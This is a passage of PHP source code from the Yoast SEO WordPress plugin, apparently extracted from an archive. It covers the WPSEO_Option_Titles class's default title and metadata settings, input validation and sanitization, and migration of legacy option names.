	 * @param mixed $options Value of the option to be returned. Typically an array.
	 *
	 * @return mixed Filtered $options value.
	 */
	public function verify_features_against_network( $options = [] ) {
		if ( ! is_array( $options ) || empty( $options ) ) {
			return $options;
		}

		// For the feature variables, set their values to off in case they are disabled.
		$feature_vars = [
			'disableadvanced_meta'               => false,
			'ryte_indexability'                  => false,
			'content_analysis_active'            => false,
			'keyword_analysis_active'            => false,
			'inclusive_language_analysis_active' => false,
			'enable_admin_bar_menu'              => false,
			'enable_cornerstone_content'         => false,
			'enable_xml_sitemap'                 => false,
			'enable_text_link_counter'           => false,
			'enable_metabox_insights'            => false,
			'enable_link_suggestions'            => false,
			'enable_headless_rest_endpoints'     => false,
			'tracking'                           => false,
			'enable_enhanced_slack_sharing'      => false,
			'semrush_integration_active'         => false,
			'wincher_integration_active'         => false,
			'remove_feed_global'                 => false,
			'remove_feed_global_comments'        => false,
			'remove_feed_post_comments'          => false,
			'enable_index_now'                   => false,
			'enable_ai_generator'                => false,
			'remove_feed_authors'                => false,
			'remove_feed_categories'             => false,
			'remove_feed_tags'                   => false,
			'remove_feed_custom_taxonomies'      => false,
			'remove_feed_post_types'             => false,
			'remove_feed_search'                 => false,
			'remove_atom_rdf_feeds'              => false,
			'remove_shortlinks'                  => false,
			'remove_rest_api_links'              => false,
			'remove_rsd_wlw_links'               => false,
			'remove_oembed_links'                => false,
			'remove_generator'                   => false,
			'remove_emoji_scripts'               => false,
			'remove_powered_by_header'           => false,
			'remove_pingback_header'             => false,
			'clean_campaign_tracking_urls'       => false,
			'clean_permalinks'                   => false,
			'search_cleanup'                     => false,
			'search_cleanup_emoji'               => false,
			'search_cleanup_patterns'            => false,
			'redirect_search_pretty_urls'        => false,
			'algolia_integration_active'         => false,
		];

		// We can reuse this logic from the base class with the above defaults to parse with the correct feature values.
		$options = $this->prevent_disabled_options_update( $options, $feature_vars );

		return $options;
	}

	/**
	 * Gets the filter hook name and callback for adjusting the retrieved option value
	 * against the network-allowed features.
	 *
	 * @return array Array where the first item is the hook name, the second is the hook callback,
	 *               and the third is the hook priority.
	 */
	protected function get_verify_features_option_filter_hook() {
		return [
			"option_{$this->option_name}",
			[ $this, 'verify_features_against_network' ],
			11,
		];
	}

	/**
	 * Gets the filter hook name and callback for adjusting the default option value against the network-allowed features.
	 *
	 * @return array Array where the first item is the hook name, the second is the hook callback,
	 *               and the third is the hook priority.
	 */
	protected function get_verify_features_default_option_filter_hook() {
		return [
			"default_option_{$this->option_name}",
			[ $this, 'verify_features_against_network' ],
			11,
		];
	}

	/**
	 * Clean a given option value.
	 *
	 * @param array       $option_value          Old (not merged with defaults or filtered) option value to
	 *                                           clean according to the rules for this option.
	 * @param string|null $current_version       Optional. Version from which to upgrade, if not set,
	 *                                           version specific upgrades will be disregarded.
	 * @param array|null  $all_old_option_values Optional. Only used when importing old options to have
	 *                                           access to the real old values, in contrast to the saved ones.
	 *
	 * @return array Cleaned option.
	 */
	protected function clean_option( $option_value, $current_version = null, $all_old_option_values = null ) {
		// Deal with value change from text string to boolean.
		$value_change = [
			'ignore_search_engines_discouraged_notice',
		];

		$target_values = [
			'ignore',
			'done',
		];

		foreach ( $value_change as $key ) {
			if ( isset( $option_value[ $key ] )
				&& in_array( $option_value[ $key ], $target_values, true )
			) {
				$option_value[ $key ] = true;
			}
		}

		return $option_value;
	}
}
wordpress-seo/inc/options/class-wpseo-option-titles.php000064400000104506147510273100017413 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

use Yoast\WP\SEO\Config\Schema_Types;

/**
 * Option: wpseo_titles.
 */
class WPSEO_Option_Titles extends WPSEO_Option {

	/**
	 * Option name.
	 *
	 * @var string
	 */
	public $option_name = 'wpseo_titles';

	/**
	 * Array of defaults for the option.
	 *
	 * Shouldn't be requested directly, use $this->get_defaults();
	 *
	 * {@internal Note: Some of the default values are added via the translate_defaults() method.}}
	 *
	 * @var string[]
	 */
	protected $defaults = [
		// Form fields.
		'forcerewritetitle'                => false,
		'separator'                        => 'sc-dash',
		'title-home-wpseo'                 => '%%sitename%% %%page%% %%sep%% %%sitedesc%%', // Text field.
		'title-author-wpseo'               => '', // Text field.
		'title-archive-wpseo'              => '%%date%% %%page%% %%sep%% %%sitename%%', // Text field.
		'title-search-wpseo'               => '', // Text field.
		'title-404-wpseo'                  => '', // Text field.

		'social-title-author-wpseo'        => '%%name%%', // Text field.
		'social-title-archive-wpseo'       => '%%date%%', // Text field.
		'social-description-author-wpseo'  => '', // Text area.
		'social-description-archive-wpseo' => '', // Text area.
		'social-image-url-author-wpseo'    => '', // Hidden input field.
		'social-image-url-archive-wpseo'   => '', // Hidden input field.
		'social-image-id-author-wpseo'     => 0, // Hidden input field.
		'social-image-id-archive-wpseo'    => 0, // Hidden input field.

		'metadesc-home-wpseo'              => '', // Text area.
		'metadesc-author-wpseo'            => '', // Text area.
		'metadesc-archive-wpseo'           => '', // Text area.
		'rssbefore'                        => '', // Text area.
		'rssafter'                         => '', // Text area.

		'noindex-author-wpseo'             => false,
		'noindex-author-noposts-wpseo'     => true,
		'noindex-archive-wpseo'            => true,

		'disable-author'                   => false,
		'disable-date'                     => false,
		'disable-post_format'              => false,
		'disable-attachment'               => true,

		'breadcrumbs-404crumb'             => '', // Text field.
		'breadcrumbs-display-blog-page'    => true,
		'breadcrumbs-boldlast'             => false,
		'breadcrumbs-archiveprefix'        => '', // Text field.
		'breadcrumbs-enable'               => true,
		'breadcrumbs-home'                 => '', // Text field.
		'breadcrumbs-prefix'               => '', // Text field.
		'breadcrumbs-searchprefix'         => '', // Text field.
		'breadcrumbs-sep'                  => '»', // Text field.

		'website_name'                     => '',
		'person_name'                      => '',
		'person_logo'                      => '',
		'person_logo_id'                   => 0,
		'alternate_website_name'           => '',
		'company_logo'                     => '',
		'company_logo_id'                  => 0,
		'company_logo_meta'                => false,
		'person_logo_meta'                 => false,
		'company_name'                     => '',
		'company_alternate_name'           => '',
		'company_or_person'                => 'company',
		'company_or_person_user_id'        => false,

		'stripcategorybase'                => false,

		'open_graph_frontpage_title'       => '%%sitename%%', // Text field.
		'open_graph_frontpage_desc'        => '', // Text field.
		'open_graph_frontpage_image'       => '', // Text field.
		'open_graph_frontpage_image_id'    => 0,

		'publishing_principles_id'         => 0,
		'ownership_funding_info_id'        => 0,
		'actionable_feedback_policy_id'    => 0,
		'corrections_policy_id'            => 0,
		'ethics_policy_id'                 => 0,
		'diversity_policy_id'              => 0,
		'diversity_staffing_report_id'     => 0,

		'org-description'                  => '',
		'org-email'                        => '',
		'org-phone'                        => '',
		'org-legal-name'                   => '',
		'org-founding-date'                => '',
		'org-number-employees'             => '',

		'org-vat-id'                       => '',
		'org-tax-id'                       => '',
		'org-iso'                          => '',
		'org-duns'                         => '',
		'org-leicode'                      => '',
		'org-naics'                        => '',

		/*
		 * Uses enrich_defaults to add more along the lines of:
		 * - 'title-' . $pt->name                => ''; // Text field.
		 * - 'metadesc-' . $pt->name             => ''; // Text field.
		 * - 'noindex-' . $pt->name              => false;
		 * - 'display-metabox-pt-' . $pt->name   => false;
		 *
		 * - 'title-ptarchive-' . $pt->name      => ''; // Text field.
		 * - 'metadesc-ptarchive-' . $pt->name   => ''; // Text field.
		 * - 'bctitle-ptarchive-' . $pt->name    => ''; // Text field.
		 * - 'noindex-ptarchive-' . $pt->name    => false;
		 *
		 * - 'title-tax-' . $tax->name           => '''; // Text field.
		 * - 'metadesc-tax-' . $tax->name        => ''; // Text field.
		 * - 'noindex-tax-' . $tax->name         => false;
		 * - 'display-metabox-tax-' . $tax->name => false;
		 *
		 * - 'schema-page-type-' . $pt->name     => 'WebPage';
		 * - 'schema-article-type-' . $pt->name  => 'Article';
		 */
	];

	/**
	 * Used for "caching" during pageload.
	 *
	 * @var string[]
	 */
	protected $enriched_defaults = null;

	/**
	 * Array of variable option name patterns for the option.
	 *
	 * @var string[]
	 */
	protected $variable_array_key_patterns = [
		'title-',
		'metadesc-',
		'noindex-',
		'display-metabox-pt-',
		'bctitle-ptarchive-',
		'post_types-',
		'taxonomy-',
		'schema-page-type-',
		'schema-article-type-',
		'social-title-',
		'social-description-',
		'social-image-url-',
		'social-image-id-',
		'org-',
	];

	/**
	 * Array of sub-options which should not be overloaded with multi-site defaults.
	 *
	 * @var string[]
	 */
	public $ms_exclude = [
		'forcerewritetitle',
	];

	/**
	 * Add the actions and filters for the option.
	 *
	 * @todo [JRF => testers] Check if the extra actions below would run into problems if an option
	 * is updated early on and if so, change the call to schedule these for a later action on add/update
	 * instead of running them straight away.
	 */
	protected function __construct() {
		parent::__construct();
		add_action( 'update_option_' . $this->option_name, [ 'WPSEO_Utils', 'clear_cache' ] );
		add_action( 'init', [ $this, 'end_of_init' ], 999 );

		add_action( 'registered_post_type', [ $this, 'invalidate_enrich_defaults_cache' ] );
		add_action( 'unregistered_post_type', [ $this, 'invalidate_enrich_defaults_cache' ] );
		add_action( 'registered_taxonomy', [ $this, 'invalidate_enrich_defaults_cache' ] );
		add_action( 'unregistered_taxonomy', [ $this, 'invalidate_enrich_defaults_cache' ] );

		add_filter( 'admin_title', [ 'Yoast_Input_Validation', 'add_yoast_admin_document_title_errors' ] );
	}

	/**
	 * Make sure we can recognize the right action for the double cleaning.
	 *
	 * @return void
	 */
	public function end_of_init() {
		do_action( 'wpseo_double_clean_titles' );
	}

	/**
	 * Get the singleton instance of this class.
	 *
	 * @return self
	 */
	public static function get_instance() {
		if ( ! ( self::$instance instanceof self ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Get the available separator options.
	 *
	 * @return string[]
	 */
	public function get_separator_options() {
		$separators = wp_list_pluck( self::get_separator_option_list(), 'option' );

		/**
		 * Allow altering the array with separator options.
		 *
		 * @param array $separator_options Array with the separator options.
		 */
		$filtered_separators = apply_filters( 'wpseo_separator_options', $separators );

		if ( is_array( $filtered_separators ) && $filtered_separators !== [] ) {
			$separators = array_merge( $separators, $filtered_separators );
		}

		return $separators;
	}

	/**
	 * Get the available separator options aria-labels.
	 *
	 * @return string[] Array with the separator options aria-labels.
	 */
	public function get_separator_options_for_display() {
		$separators     = $this->get_separator_options();
		$separator_list = self::get_separator_option_list();

		$separator_options = [];

		foreach ( $separators as $key => $label ) {
			$aria_label = ( $separator_list[ $key ]['label'] ?? '' );

			$separator_options[ $key ] = [
				'label'      => $label,
				'aria_label' => $aria_label,
			];
		}

		return $separator_options;
	}

	/**
	 * Translate strings used in the option defaults.
	 *
	 * @return void
	 */
	public function translate_defaults() {
		/* translators: 1: Author name; 2: Site name. */
		$this->defaults['title-author-wpseo'] = sprintf( __( '%1$s, Author at %2$s', 'wordpress-seo' ), '%%name%%', '%%sitename%%' ) . ' %%page%% ';
		/* translators: %s expands to the search phrase. */
		$this->defaults['title-search-wpseo'] = sprintf( __( 'You searched for %s', 'wordpress-seo' ), '%%searchphrase%%' ) . ' %%page%% %%sep%% %%sitename%%';
		$this->defaults['title-404-wpseo']    = __( 'Page not found', 'wordpress-seo' ) . ' %%sep%% %%sitename%%';
		/* translators: 1: link to post; 2: link to blog. */
		$this->defaults['rssafter'] = sprintf( __( 'The post %1$s appeared first on %2$s.', 'wordpress-seo' ), '%%POSTLINK%%', '%%BLOGLINK%%' );

		$this->defaults['breadcrumbs-404crumb']      = __( 'Error 404: Page not found', 'wordpress-seo' );
		$this->defaults['breadcrumbs-archiveprefix'] = __( 'Archives for', 'wordpress-seo' );
		$this->defaults['breadcrumbs-home']          = __( 'Home', 'wordpress-seo' );
		$this->defaults['breadcrumbs-searchprefix']  = __( 'You searched for', 'wordpress-seo' );
	}

	/**
	 * Add dynamically created default options based on available post types and taxonomies.
	 *
	 * @return  void
	 */
	public function enrich_defaults() {
		$enriched_defaults = $this->enriched_defaults;
		if ( $enriched_defaults !== null ) {
			$this->defaults += $enriched_defaults;
			return;
		}

		$enriched_defaults = [];

		/*
		 * Retrieve all the relevant post type and taxonomy arrays.
		 *
		 * WPSEO_Post_Type::get_accessible_post_types() should *not* be used here.
		 * These are the defaults and can be prepared for any public post type.
		 */
		$post_type_objects = get_post_types( [ 'public' => true ], 'objects' );

		if ( $post_type_objects ) {
			/* translators: %s expands to the name of a post type (plural). */
			$archive = sprintf( __( '%s Archive', 'wordpress-seo' ), '%%pt_plural%%' );

			foreach ( $post_type_objects as $pt ) {
				$enriched_defaults[ 'title-' . $pt->name ]                   = '%%title%% %%page%% %%sep%% %%sitename%%'; // Text field.
				$enriched_defaults[ 'metadesc-' . $pt->name ]                = ''; // Text area.
				$enriched_defaults[ 'noindex-' . $pt->name ]                 = false;
				$enriched_defaults[ 'display-metabox-pt-' . $pt->name ]      = true;
				$enriched_defaults[ 'post_types-' . $pt->name . '-maintax' ] = 0; // Select box.
				$enriched_defaults[ 'schema-page-type-' . $pt->name ]        = 'WebPage';
				$enriched_defaults[ 'schema-article-type-' . $pt->name ]     = ( $pt->name === 'post' ) ? 'Article' : 'None';

				if ( $pt->name !== 'attachment' ) {
					$enriched_defaults[ 'social-title-' . $pt->name ]       = '%%title%%'; // Text field.
					$enriched_defaults[ 'social-description-' . $pt->name ] = ''; // Text area.
					$enriched_defaults[ 'social-image-url-' . $pt->name ]   = ''; // Hidden input field.
					$enriched_defaults[ 'social-image-id-' . $pt->name ]    = 0; // Hidden input field.
				}

				// Custom post types that have archives.
				if ( ! $pt->_builtin && WPSEO_Post_Type::has_archive( $pt ) ) {
					$enriched_defaults[ 'title-ptarchive-' . $pt->name ]              = $archive . ' %%page%% %%sep%% %%sitename%%'; // Text field.
					$enriched_defaults[ 'metadesc-ptarchive-' . $pt->name ]           = ''; // Text area.
					$enriched_defaults[ 'bctitle-ptarchive-' . $pt->name ]            = ''; // Text field.
					$enriched_defaults[ 'noindex-ptarchive-' . $pt->name ]            = false;
					$enriched_defaults[ 'social-title-ptarchive-' . $pt->name ]       = $archive; // Text field.
					$enriched_defaults[ 'social-description-ptarchive-' . $pt->name ] = ''; // Text area.
					$enriched_defaults[ 'social-image-url-ptarchive-' . $pt->name ]   = ''; // Hidden input field.
					$enriched_defaults[ 'social-image-id-ptarchive-' . $pt->name ]    = 0; // Hidden input field.
				}
			}
		}

		$taxonomy_objects = get_taxonomies( [ 'public' => true ], 'object' );

		if ( $taxonomy_objects ) {
			/* translators: %s expands to the variable used for term title. */
			$archives = sprintf( __( '%s Archives', 'wordpress-seo' ), '%%term_title%%' );

			foreach ( $taxonomy_objects as $tax ) {
				$enriched_defaults[ 'title-tax-' . $tax->name ]           = $archives . ' %%page%% %%sep%% %%sitename%%'; // Text field.
				$enriched_defaults[ 'metadesc-tax-' . $tax->name ]        = ''; // Text area.
				$enriched_defaults[ 'display-metabox-tax-' . $tax->name ] = true;

				$enriched_defaults[ 'noindex-tax-' . $tax->name ] = ( $tax->name === 'post_format' );

				$enriched_defaults[ 'social-title-tax-' . $tax->name ]       = $archives; // Text field.
				$enriched_defaults[ 'social-description-tax-' . $tax->name ] = ''; // Text area.
				$enriched_defaults[ 'social-image-url-tax-' . $tax->name ]   = ''; // Hidden input field.
				$enriched_defaults[ 'social-image-id-tax-' . $tax->name ]    = 0; // Hidden input field.

				$enriched_defaults[ 'taxonomy-' . $tax->name . '-ptparent' ] = 0; // Select box;.
			}
		}

		$this->enriched_defaults = $enriched_defaults;
		$this->defaults         += $enriched_defaults;
	}

	/**
	 * Invalidates enrich_defaults() cache.
	 *
	 * Called from actions:
	 * - (un)registered_post_type
	 * - (un)registered_taxonomy
	 *
	 * @return void
	 */
	public function invalidate_enrich_defaults_cache() {
		$this->enriched_defaults = null;
	}

	/**
	 * Validate the option.
	 *
	 * @param string[] $dirty New value for the option.
	 * @param string[] $clean Clean value for the option, normally the defaults.
	 * @param string[] $old   Old value of the option.
	 *
	 * @return string[] Validated clean value for the option to be saved to the database.
	 */
	protected function validate_option( $dirty, $clean, $old ) {
		$allowed_post_types = $this->get_allowed_post_types();

		foreach ( $clean as $key => $value ) {
			$switch_key = $this->get_switch_key( $key );

			switch ( $switch_key ) {
				// Only ever set programmatically, so no reason for intense validation.
				case 'company_logo_meta':
				case 'person_logo_meta':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = $dirty[ $key ];
					}
					break;

				/* Breadcrumbs text fields. */
				case 'breadcrumbs-404crumb':
				case 'breadcrumbs-archiveprefix':
				case 'breadcrumbs-home':
				case 'breadcrumbs-prefix':
				case 'breadcrumbs-searchprefix':
				case 'breadcrumbs-sep':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = wp_kses_post( $dirty[ $key ] );
					}
					break;

				/*
				 * Text fields.
				 */

				/*
				 * Covers:
				 *  'title-home-wpseo', 'title-author-wpseo', 'title-archive-wpseo', // phpcs:ignore Squiz.PHP.CommentedOutCode.Found -- This isn't commented out code.
				 *  'title-search-wpseo', 'title-404-wpseo'
				 *  'title-' . $pt->name
				 *  'title-ptarchive-' . $pt->name
				 *  'title-tax-' . $tax->name
				 *  'social-title-' . $pt->name
				 *  'social-title-ptarchive-' . $pt->name
				 *  'social-title-tax-' . $tax->name
				 *  'social-title-author-wpseo', 'social-title-archive-wpseo'
				 *  'open_graph_frontpage_title'
				 */
				case 'org-':
				case 'website_name':
				case 'alternate_website_name':
				case 'title-':
				case 'social-title-':
				case 'open_graph_frontpage_title':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = WPSEO_Utils::sanitize_text_field( $dirty[ $key ] );
					}
					break;

				case 'company_or_person':
					if ( isset( $dirty[ $key ] ) ) {
						if ( in_array( $dirty[ $key ], [ 'company', 'person' ], true ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
						else {
							$defaults      = $this->get_defaults();
							$clean[ $key ] = $defaults['company_or_person'];
						}
					}
					break;

				/*
				 * Covers:
				 *  'company_logo', 'person_logo' // phpcs:ignore Squiz.PHP.CommentedOutCode.Found -- This isn't commented out code.
				 */
				case 'company_logo':
				case 'person_logo':
				case 'open_graph_frontpage_image':
					// When a logo changes, we need to ditch the caches we have for it.
					unset( $clean[ $switch_key . '_id' ] );
					unset( $clean[ $switch_key . '_meta' ] );
					$this->validate_url( $key, $dirty, $old, $clean );
					break;

				/*
				 * Covers:
				 *  'social-image-url-' . $pt->name
				 *  'social-image-url-ptarchive-' . $pt->name
				 *  'social-image-url-tax-' . $tax->name
				 *  'social-image-url-author-wpseo', 'social-image-url-archive-wpseo'
				 */
				case 'social-image-url-':
					$this->validate_url( $key, $dirty, $old, $clean );
					break;

				/*
				 * Covers:
				 *  'metadesc-home-wpseo', 'metadesc-author-wpseo', 'metadesc-archive-wpseo'
				 *  'metadesc-' . $pt->name
				 *  'metadesc-ptarchive-' . $pt->name
				 *  'metadesc-tax-' . $tax->name
				 *  and also:
				 *  'bctitle-ptarchive-' . $pt->name
				 *  'social-description-' . $pt->name
				 *  'social-description-ptarchive-' . $pt->name
				 *  'social-description-tax-' . $tax->name
				 *  'social-description-author-wpseo', 'social-description-archive-wpseo'
				 *  'open_graph_frontpage_desc'
				 */
				case 'metadesc-':
				case 'bctitle-ptarchive-':
				case 'company_name':
				case 'company_alternate_name':
				case 'person_name':
				case 'social-description-':
				case 'open_graph_frontpage_desc':
					if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {
						$clean[ $key ] = WPSEO_Utils::sanitize_text_field( $dirty[ $key ] );
					}
					break;

				/*
				 * Covers: 'rssbefore', 'rssafter' // phpcs:ignore Squiz.PHP.CommentedOutCode.Found -- This isn't commented out code.
				 */
				case 'rssbefore':
				case 'rssafter':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = wp_kses_post( $dirty[ $key ] );
					}
					break;

				/* 'post_types-' . $pt->name . '-maintax' fields. */
				case 'post_types-':
					$post_type  = str_replace( [ 'post_types-', '-maintax' ], '', $key );
					$taxonomies = get_object_taxonomies( $post_type, 'names' );

					if ( isset( $dirty[ $key ] ) ) {
						if ( $taxonomies !== [] && in_array( $dirty[ $key ], $taxonomies, true ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
						elseif ( (string) $dirty[ $key ] === '0' || (string) $dirty[ $key ] === '' ) {
							$clean[ $key ] = 0;
						}
						elseif ( sanitize_title_with_dashes( $dirty[ $key ] ) === $dirty[ $key ] ) {
							// Allow taxonomies which may not be registered yet.
							$clean[ $key ] = $dirty[ $key ];
						}
						else {
							if ( isset( $old[ $key ] ) ) {
								$clean[ $key ] = sanitize_title_with_dashes( $old[ $key ] );
							}

							/*
							 * @todo [JRF => whomever] Maybe change the untranslated $pt name in the
							 * error message to the nicely translated label ?
							 */
							add_settings_error(
								$this->group_name, // Slug title of the setting.
								$key, // Suffix-id for the error message box.
								/* translators: %s expands to a post type. */
								sprintf( __( 'Please select a valid taxonomy for post type "%s"', 'wordpress-seo' ), $post_type ), // The error message.
								'error' // Message type.
							);
						}
					}
					elseif ( isset( $old[ $key ] ) ) {
						$clean[ $key ] = sanitize_title_with_dashes( $old[ $key ] );
					}
					unset( $taxonomies, $post_type );
					break;

				/* 'taxonomy-' . $tax->name . '-ptparent' fields. */
				case 'taxonomy-':
					if ( isset( $dirty[ $key ] ) ) {
						if ( $allowed_post_types !== [] && in_array( $dirty[ $key ], $allowed_post_types, true ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
						elseif ( (string) $dirty[ $key ] === '0' || (string) $dirty[ $key ] === '' ) {
							$clean[ $key ] = 0;
						}
						elseif ( sanitize_key( $dirty[ $key ] ) === $dirty[ $key ] ) {
							// Allow taxonomies which may not be registered yet.
							$clean[ $key ] = $dirty[ $key ];
						}
						else {
							if ( isset( $old[ $key ] ) ) {
								$clean[ $key ] = sanitize_key( $old[ $key ] );
							}

							/*
							 * @todo [JRF =? whomever] Maybe change the untranslated $tax name in the
							 * error message to the nicely translated label ?
							 */
							$tax = str_replace( [ 'taxonomy-', '-ptparent' ], '', $key );
							add_settings_error(
								$this->group_name, // Slug title of the setting.
								'_' . $tax, // Suffix-ID for the error message box.
								/* translators: %s expands to a taxonomy slug. */
								sprintf( __( 'Please select a valid post type for taxonomy "%s"', 'wordpress-seo' ), $tax ), // The error message.
								'error' // Message type.
							);
							unset( $tax );
						}
					}
					elseif ( isset( $old[ $key ] ) ) {
						$clean[ $key ] = sanitize_key( $old[ $key ] );
					}
					break;

				/*
				 * Covers:
				 *  'company_or_person_user_id'
				 *  'company_logo_id', 'person_logo_id', 'open_graph_frontpage_image_id'
				 *  'social-image-id-' . $pt->name
				 *  'social-image-id-ptarchive-' . $pt->name
				 *  'social-image-id-tax-' . $tax->name
				 *  'social-image-id-author-wpseo', 'social-image-id-archive-wpseo'
				 */
				case 'company_or_person_user_id':
				case 'company_logo_id':
				case 'person_logo_id':
				case 'social-image-id-':
				case 'open_graph_frontpage_image_id':
				case 'publishing_principles_id':
				case 'ownership_funding_info_id':
				case 'actionable_feedback_policy_id':
				case 'corrections_policy_id':
				case 'ethics_policy_id':
				case 'diversity_policy_id':
				case 'diversity_staffing_report_id':
					if ( isset( $dirty[ $key ] ) ) {
						$int = WPSEO_Utils::validate_int( $dirty[ $key ] );
						if ( $int !== false && $int >= 0 ) {
							$clean[ $key ] = $int;
						}
					}
					elseif ( isset( $old[ $key ] ) ) {
						$int = WPSEO_Utils::validate_int( $old[ $key ] );
						if ( $int !== false && $int >= 0 ) {
							$clean[ $key ] = $int;
						}
					}
					break;
				/* Separator field - Radio. */
				case 'separator':
					if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {

						// Get separator fields.
						$separator_fields = $this->get_separator_options();

						// Check if the given separator exists.
						if ( isset( $separator_fields[ $dirty[ $key ] ] ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
					}
					break;

				case 'schema-page-type-':
					if ( isset( $dirty[ $key ] ) && is_string( $dirty[ $key ] ) ) {
						if ( array_key_exists( $dirty[ $key ], Schema_Types::PAGE_TYPES ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
						else {
							$defaults      = $this->get_defaults();
							$post_type     = str_replace( $switch_key, '', $key );
							$clean[ $key ] = $defaults[ $switch_key . $post_type ];
						}
					}
					break;
				case 'schema-article-type-':
					if ( isset( $dirty[ $key ] ) && is_string( $dirty[ $key ] ) ) {
						/**
						 * Filter: 'wpseo_schema_article_types' - Allow developers to filter the available article types.
						 *
						 * Make sure when you filter this to also filter `wpseo_schema_article_types_labels`.
						 *
						 * @param array $schema_article_types The available schema article types.
						 */
						if ( array_key_exists( $dirty[ $key ], apply_filters( 'wpseo_schema_article_types', Schema_Types::ARTICLE_TYPES ) ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
						else {
							$defaults      = $this->get_defaults();
							$post_type     = str_replace( $switch_key, '', $key );
							$clean[ $key ] = $defaults[ $switch_key . $post_type ];
						}
					}
					break;

				/*
				 * Boolean fields.
				 */

				/*
				 * Covers:
				 *  'noindex-author-wpseo', 'noindex-author-noposts-wpseo', 'noindex-archive-wpseo'
				 *  'noindex-' . $pt->name
				 *  'noindex-ptarchive-' . $pt->name
				 *  'noindex-tax-' . $tax->name
				 *  'forcerewritetitle':
				 *  'noodp':
				 *  'noydir':
				 *  'disable-author':
				 *  'disable-date':
				 *  'disable-post_format';
				 *  'noindex-'
				 *  'display-metabox-pt-'
				 *  'display-metabox-pt-'. $pt->name
				 *  'display-metabox-tax-'
				 *  'display-metabox-tax-' . $tax->name
				 *  'breadcrumbs-display-blog-page'
				 *  'breadcrumbs-boldlast'
				 *  'breadcrumbs-enable'
				 *  'stripcategorybase'
				 */
				default:
					$clean[ $key ] = ( isset( $dirty[ $key ] ) ? WPSEO_Utils::validate_bool( $dirty[ $key ] ) : false );
					break;
			}
		}

		return $clean;
	}

	/**
	 * Retrieve a list of the allowed post types as breadcrumb parent for a taxonomy.
	 * Helper method for validation.
	 *
	 * {@internal Don't make static as new types may still be registered.}}
	 *
	 * @return string[]
	 */
	protected function get_allowed_post_types() {
		$allowed_post_types = [];

		/*
		 * WPSEO_Post_Type::get_accessible_post_types() should *not* be used here.
		 */
		$post_types = get_post_types( [ 'public' => true ], 'objects' );

		if ( get_option( 'show_on_front' ) === 'page' && get_option( 'page_for_posts' ) > 0 ) {
			$allowed_post_types[] = 'post';
		}

		if ( is_array( $post_types ) && $post_types !== [] ) {
			foreach ( $post_types as $type ) {
				if ( WPSEO_Post_Type::has_archive( $type ) ) {
					$allowed_post_types[] = $type->name;
				}
			}
		}

		return $allowed_post_types;
	}

	/**
	 * Clean a given option value.
	 *
	 * @param string[]      $option_value          Old (not merged with defaults or filtered) option value to clean according to the rules for this option.
	 * @param string[]|null $current_version       Optional. Version from which to upgrade, if not set, version specific upgrades will be disregarded.
	 * @param string[]|null $all_old_option_values Optional. Only used when importing old options to have access to the real old values, in contrast to the saved ones.
	 *
	 * @return string[] Cleaned option.
	 */
	protected function clean_option( $option_value, $current_version = null, $all_old_option_values = null ) {
		static $original = null;

		// Double-run this function to ensure renaming of the taxonomy options will work.
		if ( ! isset( $original )
			&& has_action( 'wpseo_double_clean_titles', [ $this, 'clean' ] ) === false
		) {
			add_action( 'wpseo_double_clean_titles', [ $this, 'clean' ] );
			$original = $option_value;
		}

		/*
		 * Move options from very old option to this one.
		 *
		 * {@internal Don't rename to the 'current' names straight away as that would prevent
		 *            the rename/unset combi below from working.}}
		 *
		 * @todo [JRF] Maybe figure out a smarter way to deal with this.
		 */
		$old_option = null;
		if ( isset( $all_old_option_values ) ) {
			// Ok, we have an import.
			if ( isset( $all_old_option_values['wpseo_indexation'] ) && is_array( $all_old_option_values['wpseo_indexation'] ) && $all_old_option_values['wpseo_indexation'] !== [] ) {
				$old_option = $all_old_option_values['wpseo_indexation'];
			}
		}
		else {
			$old_option = get_option( 'wpseo_indexation' );
		}
		if ( is_array( $old_option ) && $old_option !== [] ) {
			$move = [
				'noindexauthor'     => 'noindex-author',
				'disableauthor'     => 'disable-author',
				'noindexdate'       => 'noindex-archive',
				'noindexcat'        => 'noindex-category',
				'noindextag'        => 'noindex-post_tag',
				'noindexpostformat' => 'noindex-post_format',
			];
			foreach ( $move as $old => $new ) {
				if ( isset( $old_option[ $old ] ) && ! isset( $option_value[ $new ] ) ) {
					$option_value[ $new ] = $old_option[ $old ];
				}
			}
			unset( $move, $old, $new );
		}
		unset( $old_option );

		// Fix wrongness created by buggy version 1.2.2.
		if ( isset( $option_value['title-home'] ) && $option_value['title-home'] === '%%sitename%% - %%sitedesc%% - 12345' ) {
			$option_value['title-home-wpseo'] = '%%sitename%% - %%sitedesc%%';
		}

		/*
		 * Renaming these options to avoid ever overwritting these if a (bloody stupid) user /
		 * programmer would use any of the following as a custom post type or custom taxonomy:
		 * 'home', 'author', 'archive', 'search', '404', 'subpages'.
		 *
		 * Similarly, renaming the tax options to avoid a custom post type and a taxonomy
		 * with the same name occupying the same option.
		 */
		$rename = [
			'title-home'       => 'title-home-wpseo',
			'title-author'     => 'title-author-wpseo',
			'title-archive'    => 'title-archive-wpseo',
			'title-search'     => 'title-search-wpseo',
			'title-404'        => 'title-404-wpseo',
			'metadesc-home'    => 'metadesc-home-wpseo',
			'metadesc-author'  => 'metadesc-author-wpseo',
			'metadesc-archive' => 'metadesc-archive-wpseo',
			'noindex-author'   => 'noindex-author-wpseo',
			'noindex-archive'  => 'noindex-archive-wpseo',
		];
		foreach ( $rename as $old => $new ) {
			if ( isset( $option_value[ $old ] ) && ! isset( $option_value[ $new ] ) ) {
				$option_value[ $new ] = $option_value[ $old ];
				unset( $option_value[ $old ] );
			}
		}
		unset( $rename, $old, $new );

		/*
		 * {@internal This clean-up action can only be done effectively once the taxonomies
		 *            and post_types have been registered, i.e. at the end of the init action.}}
		 */
